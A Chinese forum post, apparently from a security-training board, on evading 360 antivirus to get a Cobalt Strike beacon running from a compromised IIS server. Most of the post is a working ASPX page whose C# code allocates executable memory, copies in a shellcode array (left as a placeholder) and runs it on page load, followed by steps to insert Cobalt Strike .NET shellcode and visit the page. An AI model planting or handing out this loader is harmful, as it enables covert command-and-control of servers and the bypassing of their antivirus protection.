找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
查看: 60|回复: 0

[原创] 绕过360上线cs

[复制链接]

91

主题

0

回帖

371

积分

管理员

积分
371
发表于 2025-12-12 16:55:10 | 显示全部楼层 |阅读模式
绕过360上线cs

一、前言
在iis中执行命令会遭到360拦截
也就是说 360会拦截w3wp进程执行的exe文件。
二、绕过
可以使用.net的脚本 加载shellcode代码
  1. <%@ Page Language="C#" %>
  2. <%@ import Namespace="System"%>
  3. <%@ import Namespace="System.Runtime.InteropServices"%>
  4. <script language="c#" runat="server">
  5. [DllImport("kernel32")]
  6. private static extern IntPtr VirtualAlloc(IntPtr lpStartAddr, uint size, uint
  7. flAllocationType, uint flProtect);
  8. [DllImport("kernel32")]
  9. private static extern IntPtr CreateThread(uint lpThreadAttributes,uint
  10. dwStackSize, IntPtr lpStartAddress,IntPtr param, uint dwCreationFlags, ref uint
  11. lpThreadId);
  12. public void Page_Load(object sender, EventArgs e){
  13. byte[] esc= new byte[928] { shellcode };

  14. IntPtr funcAddr = VirtualAlloc(IntPtr.Zero, (uint)esc.Length, 0x1000, 0x40);
  15. Marshal.Copy(esc, 0, funcAddr, esc.Length);
  16. IntPtr hThread = IntPtr.Zero;
  17. uint threadId = 0;
  18. IntPtr pinfo = IntPtr.Zero;
  19. hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
  20. Response.Write("CreateThread: 0x" + hThread.ToString("x2") + "<br>");
  21. return;
  22. }
  23. </script>
复制代码
用cs生成net shellcode

将shellcoe替换你的cs代码即可。
访问脚本运行cs 成功上线






本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

×
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|手机版|小黑屋|暗月安全培训论坛

GMT+8, 2026-1-7 11:19 , Processed in 0.061449 second(s), 20 queries .

Powered by Discuz! X3.5

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表